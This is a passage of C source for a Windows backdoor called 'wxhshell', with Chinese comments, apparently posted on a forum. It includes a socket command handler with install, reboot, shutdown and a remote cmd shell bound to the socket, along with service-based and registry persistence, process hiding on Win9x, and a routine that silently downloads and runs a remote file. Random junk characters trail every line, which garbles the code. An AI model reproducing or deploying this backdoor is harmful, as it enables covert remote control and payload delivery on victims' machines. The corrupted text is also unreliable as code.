  )B&<Bk+  
  // 帮助 K y4y  
  case '?': { O/^w! :z'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l/UG+7  
    break; _>m*`:Wb  
  } f>+}U;)EF  
  // 安装 fh)`kZDk  
  case 'i': { :=7'1H  
    if(Install()) h8-tbHgpb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K':pU1  
    else x15tQb+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _r5Ild @n  
    break; )Q j9kJq  
    } c_qy)N  
  // 卸载 (dip Ks?K  
  case 'r': { <({eOh5 N  
    if(Uninstall()) *Z2Q]?:{ i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o4f9EJY   
    else Odtck9L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X$&Sw3c  
    break; kpw4Mq@  
    } _po 4(U&  
  // 显示 wxhshell 所在路径 6ch[B`[h,  
  case 'p': { 'htA! KHF  
    char svExeFile[MAX_PATH]; \ g(#)f  
    strcpy(svExeFile,"\n\r"); `oWjq6  
      strcat(svExeFile,ExeFile); d>98 E9  
        send(wsh,svExeFile,strlen(svExeFile),0); MNmQ%R4jRN  
    break; 9S1V! Jp  
    } *AQbXw]w  
  // 重启 E d/O\v@  
  case 'b': { HU+H0S~g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `gs,JJ6N  
    if(Boot(REBOOT)) RX\O'Zwlj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]b| @<E7Y  
    else { /=(FM   
    closesocket(wsh); (3r,PS@Qq@  
    ExitThread(0); Z|dZc wo  
    } 6b01xu(A[  
    break; 3 v$4LY  
    } 2`U&,,-Mf  
  // 关机 #p`7gFl  
  case 'd': { ]~Qkg+>'&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8J1.(Mwb?  
    if(Boot(SHUTDOWN)) ~(]DNXB8I`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s9bP6N!,  
    else { p&l:937  
    closesocket(wsh); .Awq(  
    ExitThread(0); Z[bC@y[Wb  
    } rO%+)M$A  
    break; Jz0S2&  
    } @il}0  
  // 获取shell P`"DepeD  
  case 's': { v[3sg2.  
    CmdShell(wsh); 2wsZ&y%  
    closesocket(wsh); ,peE'   
    ExitThread(0); W)hby`k  
    break; S c Kfr  
  } Z+4Oa f!  
  // 退出 ;rL$z;}8  
  case 'x': { Oh4WYDyT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O_Q,!&*6  
    CloseIt(wsh); iUBni&B  
    break; W^Y(FUy~  
    }  E/;YhFb[  
  // 离开 >@uYleD(  
  case 'q': { y<(.,Nb8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .&.CbE8K[  
    closesocket(wsh); * ?fBmq[j  
    WSACleanup(); h--bN*}H2  
    exit(1); cfS]C_6d  
    break; CNYchE,}  
        } z\ pT+9&  
  } _ 0E,@[  
  } M6!brj\[|  
,-kZ5&r  
  // 提示信息 Su#1yw>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %b6wo?%*  
} T]2q >N  
  } .R5z>:A  
Q.\ovk~,a  
  return; S~Q";C[&  
} PX)qA =4q  
e?WR={  
// shell模块句柄 2Wtfx" .y  
int CmdShell(SOCKET sock) +Wc[ $,vk  
{ iwJgU b  
STARTUPINFO si; -NeF6  
ZeroMemory(&si,sizeof(si)); ?VsZo6Z"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yl%F<5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +i =78  
PROCESS_INFORMATION ProcessInfo; hd-ds~ve  
char cmdline[]="cmd"; pE N`&'4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O~VUViS6$  
  return 0; $h9!"f[|j  
} |0-L08DW  
p4 PFoFo2  
// 自身启动模式 f *vziC<m  
int StartFromService(void) 1S:H!h3  
{ [:qX3"B  
typedef struct jXf-+ ;ZQ  
{ is$d<Y&F  
  DWORD ExitStatus; [&:oS35O  
  DWORD PebBaseAddress; iy9]Y5b   
  DWORD AffinityMask; XjbK!.  
  DWORD BasePriority; ~fe0Ba4  
  ULONG UniqueProcessId; \Y$NGB=2[  
  ULONG InheritedFromUniqueProcessId; }s[/b"%y  
}   PROCESS_BASIC_INFORMATION; v5o%y:~  
WyETg!b[  
PROCNTQSIP NtQueryInformationProcess; 9'M_tMm5  
&Is%I<'o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .9ne'Ta  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zqkmsFH{  
8ZDq KQ1;  
  HANDLE             hProcess; ; o\wSHc  
  PROCESS_BASIC_INFORMATION pbi; .^23qCs  
sBwgl9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )UJMmw\  
  if(NULL == hInst ) return 0; RZZB?vx  
DI\sq8J^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tp7?:YY|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :`K;0`C +  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X)~-MY*p  
o&zV8DE_v  
  if (!NtQueryInformationProcess) return 0; >+r2I%  
va0 a4s1O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R)=<q]Ms  
  if(!hProcess) return 0; h| Ih4  
~U|te_l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3A5" %  
sXWMXQ3  
  CloseHandle(hProcess); g;pFT  
kL-+V)Kl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); So:89T  
if(hProcess==NULL) return 0; ~VKw%WK  
bpzA ' g>  
HMODULE hMod; \3l;PY  
char procName[255]; 3-05y!vbcE  
unsigned long cbNeeded; 0czy:d,M%  
OQq7|dZu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^6`U0|5mRX  
7>nA;F 8_  
  CloseHandle(hProcess); iAN#TCwLT7  
Q|>y2g!  
if(strstr(procName,"services")) return 1; // 以服务启动  7;XdTx  
y!#1A?|k  
  return 0; // 注册表启动 ~LVa#  
} `{ /tx!  
iG ;6e~p  
// 主模块 d+(~{xK:  
int StartWxhshell(LPSTR lpCmdLine) #E#70vWp\O  
{ (<ejJPWT  
  SOCKET wsl; @*oi1_q  
BOOL val=TRUE; */1z=  
  int port=0; m*'#`vIbb  
  struct sockaddr_in door; 4avM:h  
"x{S3v4Rb5  
  if(wscfg.ws_autoins) Install(); qAm%h\  
n8?gZ` W  
port=atoi(lpCmdLine); S^_na]M"4  
aAX 8m  
if(port<=0) port=wscfg.ws_port;  I{E10;  
(]ORB0kl  
  WSADATA data; !v^D j']  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?.T=(-  
C}Khh`8@5.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P"- ,^?6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q>.-u6(&  
  door.sin_family = AF_INET; Hi ?],5,/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '\9A78NV{;  
  door.sin_port = htons(port); 9 Hm!B )Y  
Y A;S'dxY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xQN](OKG  
closesocket(wsl); _h5@3>b3r  
return 1;  bSmRo  
} ?-(E$ll  
%1#5 7-  
  if(listen(wsl,2) == INVALID_SOCKET) { tUt l>>6Iu  
closesocket(wsl); r+) A)a,  
return 1; 2lGq6Au:  
} d/;oNC+  
  Wxhshell(wsl); ^*iZN =\  
  WSACleanup(); f$P pFSY4  
50CU|  
return 0; Nf3L  
{dA#r>z\1  
} hG3b7!^#g  
ecr pv+  
// 以NT服务方式启动 T9u/|OP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @$Y`I{Xf  
{ ];IUiS1  
DWORD   status = 0; %GAEZH,2sG  
  DWORD   specificError = 0xfffffff; b-ZvEDCR  
xGz$M@f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C,K P!B{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @ij}|k%*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f4uK_{  
  serviceStatus.dwWin32ExitCode     = 0;  37{mhU  
  serviceStatus.dwServiceSpecificExitCode = 0; h(>4%hF  
  serviceStatus.dwCheckPoint       = 0; m%m8002  
  serviceStatus.dwWaitHint       = 0; TC ^EyjD  
l^&#fz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X1$0'u sS  
  if (hServiceStatusHandle==0) return; rlW  
t + Fm?  
status = GetLastError(); (]rtBeT  
  if (status!=NO_ERROR) LR}b^QU7  
{ =eYrz@,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dk8" H >*  
    serviceStatus.dwCheckPoint       = 0; h@l5MH=|%  
    serviceStatus.dwWaitHint       = 0; J,k9?nkY /  
    serviceStatus.dwWin32ExitCode     = status; jiz"`,-},O  
    serviceStatus.dwServiceSpecificExitCode = specificError; C 2FewsRz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8L.Y0_x  
    return; ->:G+<  
  } r=<,`_@Y  
}7k+tJ<   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D24@lZ`g~  
  serviceStatus.dwCheckPoint       = 0; :jgwp~l  
  serviceStatus.dwWaitHint       = 0; Bxak[>/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =((#kDrN  
} aw {?UvL&  
]Z2;sA  
// 处理NT服务事件,比如:启动、停止 $ ^m_M.1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oj[Wzeg%  
{ C%0|o/Wi  
switch(fdwControl) (?D47^F &  
{  g&#.zJ[-  
case SERVICE_CONTROL_STOP: ~M2w&g;1  
  serviceStatus.dwWin32ExitCode = 0; u-yQP@^H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zuwCN.  
  serviceStatus.dwCheckPoint   = 0; \XhzaM   
  serviceStatus.dwWaitHint     = 0; S2h?Q $e3  
  { S~/zBFo-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {w1sv=$+  
  } (s z=IB ;  
  return; E_MGejm@  
case SERVICE_CONTROL_PAUSE: Ft#d & I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m:.ywiw=  
  break; wZ5 + H%x  
case SERVICE_CONTROL_CONTINUE:  =6Ihk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;*[nZV>  
  break; rB~x]5TH  
case SERVICE_CONTROL_INTERROGATE: ZC@sUj"  
  break; Re0ma%~LP  
}; Yw vX SA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _t_X`  
} ]4ya$%A  
"}Of f  
// 标准应用程序主函数 |x3.r t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BC=U6>`/  
{ }E+#*R3auB  
7loIX Qw  
// 获取操作系统版本 _pnJ/YE  
OsIsNt=GetOsVer(); prV:Kq;O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PF+v[h;,  
lU`]yL  
  // 从命令行安装 Q-k{Lqa-  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,b%T[s7  
Kz:g9  
  // 下载执行文件 ]cdKd)  
if(wscfg.ws_downexe) { u[$ \ az7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CqDKQQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); -{dsl|Dl  
} \BOZhXfl'  
nw){}g  
if(!OsIsNt) { O]o `! c  
// 如果时win9x,隐藏进程并且设置为注册表启动 K4b# y~@  
HideProc(); q{gt2OWqX  
StartWxhshell(lpCmdLine); 6r4o47_t8#  
} 2It$ bz  
else S\RjP*H*  
  if(StartFromService()) { K'QE0'x  
  // 以服务方式启动 gDU~hv  
  StartServiceCtrlDispatcher(DispatchTable); {%.FIw k  
else 2iYf)MC  
  // 普通方式启动 1bs 8fUPB3  
  StartWxhshell(lpCmdLine); P$?3\`U;  
{1,]8!HBJ  
return 0; K<'L7>s3lA  
}
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只看该作者 1 发表于: 2006-10-10
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